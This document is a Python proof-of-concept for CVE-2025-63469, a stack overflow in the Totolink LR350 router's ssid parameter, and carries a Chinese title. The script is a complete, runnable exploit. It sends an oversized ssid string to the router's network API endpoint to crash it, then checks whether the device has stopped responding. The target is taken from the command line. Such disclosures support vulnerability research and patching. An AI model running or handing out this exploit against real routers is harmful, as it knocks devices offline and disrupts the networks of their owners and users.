CVE-2025-63469 Totolink LR350路由器ssid参数栈溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-63469 PoC - Totolink LR350 Stack Overflow via ssid parameter Note: This PoC is for educational and security research purposes only. """ import requests import argparse import sys def exploit_totolink_lr350(target_ip, target_port=80, overflow_length=1000): """ Exploit stack overflow in sub_421BAC function via ssid parameter """ url = f"http://{target_ip}:{target_port}/cgi-bin-igd/luci/api/network" # Generate overflow payload - long string to trigger stack overflow overflow_payload = "A" * overflow_length # Prepare the malicious request with oversized ssid parameter data = { "ssid": overflow_payload, "module": "wireless", "method": "set_ssid" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Sending malicious request to {url}") print(f"[*] Payload length: {len(overflow_payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") # Check if device is still responsive check_url = f"http://{target_ip}:{target_port}" try: health_check = requests.get(check_url, timeout=5) print("[-] Device still responsive - DoS may require larger payload") except requests.exceptions.RequestException: print("[+] DoS successful - Device is not responding") except requests.exceptions.RequestException as e: print(f"[+] DoS triggered - Request failed: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-63469 PoC") parser.add_argument("-t", "--target", required=True, help="Target IP address") parser.add_argument("-p", "--port", type=int, default=80, help="Target port (default: 80)") parser.add_argument("-l", "--length", type=int, default=1000, help="Overflow payload length") args = parser.parse_args() exploit_totolink_lr350(args.target, args.port, args.length)